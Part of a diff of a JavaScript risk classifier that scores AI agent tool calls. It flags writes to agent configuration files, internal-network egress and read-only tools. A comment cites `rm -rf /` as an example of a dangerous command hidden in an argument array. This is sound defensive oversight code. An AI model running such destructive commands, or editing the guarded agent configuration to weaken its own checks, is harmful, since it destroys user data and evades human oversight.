|
+
when: (c) => WRITE_ACTIONS.has(c.action),
|
|
374
|
+
},
|
|
375
|
+
{
|
|
376
|
+
id: "config-modification",
|
|
377
|
+
level: RISK.MEDIUM,
|
|
378
|
+
why: "Writes agent or tooling configuration, which changes what future runs are allowed to do.",
|
|
379
|
+
when: (c) =>
|
|
380
|
+
WRITE_ACTIONS.has(c.action) &&
|
|
381
|
+
/(mcp\.json|settings\.json|\.cursorrules|CLAUDE\.md|AGENTS\.md|\.claude[/\\]|cirvix\.policy)/i.test(
|
|
382
|
+
c.resource ?? "",
|
|
383
|
+
),
|
|
384
|
+
},
|
|
385
|
+
{
|
|
386
|
+
id: "internal-egress",
|
|
387
|
+
level: RISK.MEDIUM,
|
|
388
|
+
why: "Reaches a host on the local network. Not the public internet, but not the workspace either.",
|
|
389
|
+
when: (c) => c.egress === "internal",
|
|
390
|
+
},
|
|
391
|
+
|
|
392
|
+
/* --------------------------------------------------------------------- LOW */
|
|
393
|
+
{
|
|
394
|
+
id: "read-only-tool",
|
|
395
|
+
level: RISK.LOW,
|
|
396
|
+
why: "Inspects state without changing it.",
|
|
397
|
+
when: (c) =>
|
|
398
|
+
READ_ACTIONS.has(c.action) ||
|
|
399
|
+
READ_ONLY_TOOLS.test(String(c.tool ?? "")) ||
|
|
400
|
+
/^git[._ -](status|log|diff|show|branch)$/i.test(`${c.tool ?? ""}`),
|
|
401
|
+
},
|
|
402
|
+
];
|
|
403
|
+
|
|
404
|
+
/* -------------------------------------------------------------------------- */
|
|
405
|
+
/* Classification */
|
|
406
|
+
/* -------------------------------------------------------------------------- */
|
|
407
|
+
|
|
408
|
+
function hostOf(value) {
|
|
409
|
+
if (typeof value !== "string" || !value) return null;
|
|
410
|
+
try {
|
|
411
|
+
if (/^[a-z][a-z0-9+.-]*:\/\//i.test(value)) return new URL(value).hostname.toLowerCase();
|
|
412
|
+
} catch {
|
|
413
|
+
return null;
|
|
414
|
+
}
|
|
415
|
+
// A bare host:port or bare host, which is how a socket-shaped tool names one.
|
|
416
|
+
const bare = value.match(/^([a-z0-9._-]+|\[[0-9a-f:]+\])(?::\d+)?$/i);
|
|
417
|
+
return bare ? bare[1].replace(/^\[|\]$/g, "").toLowerCase() : null;
|
|
418
|
+
}
|
|
419
|
+
|
|
420
|
+
/**
|
|
421
|
+
* Classify one call.
|
|
422
|
+
*
|
|
423
|
+
* Accepts a normalized call (see `normalize.mjs`) or a loose object with any of
|
|
424
|
+
* `action`, `tool`, `resource`, `command`, `sql`, `destination`, `environment`,
|
|
425
|
+
* `egress`, `insideWorkspace`, `touchedSecret`, `secretsDetected`. Missing
|
|
426
|
+
* fields simply do not fire their rules — classification degrades toward the
|
|
427
|
+
* baseline rather than throwing, because a call it cannot read is still a call
|
|
428
|
+
* it must return a level for.
|
|
429
|
+
*
|
|
430
|
+
* @returns {{level: RiskLevel, rank: number, posture: string, signals: Array<{id:string,level:RiskLevel,why:string}>, reason: string}}
|
|
431
|
+
*/
|
|
432
|
+
export function classify(call = {}) {
|
|
433
|
+
const c = {
|
|
434
|
+
action: call.action ?? null,
|
|
435
|
+
tool: call.tool ?? null,
|
|
436
|
+
resource: call.resource ?? "",
|
|
437
|
+
command: commandOf(call),
|
|
438
|
+
sql: call.sql ?? call.arguments?.sql ?? call.arguments?.query ?? null,
|
|
439
|
+
destination: call.destination ?? null,
|
|
440
|
+
environment: call.environment ?? call.context?.environment ?? "local",
|
|
441
|
+
egress: call.egress ?? egressOf(call),
|
|
442
|
+
insideWorkspace: call.insideWorkspace ?? call.context?.path?.insideWorkspace ?? true,
|
|
443
|
+
touchedSecret: call.touchedSecret ?? call.context?.session?.touchedSecret ?? false,
|
|
444
|
+
secretsDetected: call.secretsDetected ?? 0,
|
|
445
|
+
};
|
|
446
|
+
|
|
447
|
+
const signals = [];
|
|
448
|
+
for (const rule of RISK_RULES) {
|
|
449
|
+
let fired = false;
|
|
450
|
+
try {
|
|
451
|
+
fired = Boolean(rule.when(c));
|
|
452
|
+
} catch {
|
|
453
|
+
// A rule that throws on a shape it did not expect must not take down the
|
|
454
|
+
// decision path. It contributes nothing and the others still run.
|
|
455
|
+
fired = false;
|
|
456
|
+
}
|
|
457
|
+
if (fired) signals.push({ id: rule.id, level: rule.level, why: rule.why });
|
|
458
|
+
}
|
|
459
|
+
|
|
460
|
+
// Most severe wins. An unrecognised call with no signals at all is MEDIUM,
|
|
461
|
+
// not LOW: "we could not tell" and "we determined it is safe" are different
|
|
462
|
+
// statements, and only one of them should skip review.
|
|
463
|
+
const level = signals.reduce((acc, s) => maxRisk(acc, s.level), signals.length ? RISK.LOW : RISK.MEDIUM);
|
|
464
|
+
const top = signals.filter((s) => s.level === level);
|
|
465
|
+
|
|
466
|
+
return {
|
|
467
|
+
level,
|
|
468
|
+
rank: riskRank(level),
|
|
469
|
+
posture: DEFAULT_POSTURE[level],
|
|
470
|
+
signals,
|
|
471
|
+
reason: top.length
|
|
472
|
+
? top.map((s) => s.why).join(" ")
|
|
473
|
+
: "No risk signal matched this call, so it is treated as MEDIUM rather than assumed safe.",
|
|
474
|
+
};
|
|
475
|
+
}
|
|
476
|
+
|
|
477
|
+
/** Pulls the shell command out of whichever argument shape the tool used. */
|
|
478
|
+
function commandOf(call) {
|
|
479
|
+
if (typeof call.command === "string" && call.command) return call.command;
|
|
480
|
+
const args = call.arguments ?? call.args ?? null;
|
|
481
|
+
if (!args || typeof args !== "object") return null;
|
|
482
|
+
for (const key of ["command", "cmd", "script", "shell", "exec", "run"]) {
|
|
483
|
+
const v = args[key];
|
|
484
|
+
if (typeof v === "string" && v) return v;
|
|
485
|
+
// `["bash", "-c", "rm -rf /"]` — the dangerous part is an array element.
|
|
486
|
+
if (Array.isArray(v) && v.every((x) => typeof x === "string")) return v.join(" ");
|
|
487
|
+
}
|
|
488
|
+
return null;
|
|
489
|
+
}
|
|
490
|
+
|
|
491
|
+
/** "none" | "internal" | "external" from whatever the call names. */
|
|
492
|
+
function egressOf(call) {
|
|
493
|
+
const target = call.destination ?? call.resource ?? "";
|
|
494
|
+
if (!/^https?:\/\//i.test(target)) return "none";
|
|
495
|
+
const host = hostOf(target);
|
|
496
|
+
if (!host) return "external";
|
|
497
|
+
if (/^(localhost|127\.|0\.0\.0\.0|::1|\[?::1\]?)/i.test(host)) return "none";
|
|
498
|
+
if (/^(10\.|192\.168\.|172\.(1[6-9]|2\d|3[01])\.|169\.254\.)/.test(host)) return "internal";
|
|
499
|
+
if (/\.(internal|local|localdomain|test|invalid)$/i.test(host)) return "internal";
|
|
500
|
+
return "external";
|
|
501
|
+
}
|
|
502
|
+
|
|
503
|
+
/**
|
|
504
|
+
* Renders the level for a terminal. Kept here so every surface — CLI, demo,
|
|
505
|
+
* logs — spells and pads it identically.
|
|
506
|
+
*/
|
|
507
|
+
export function riskLabel(level) {
|
|
508
|
+
return String(level ?? "unknown").toUpperCase();
|
|
509
|
+
}
|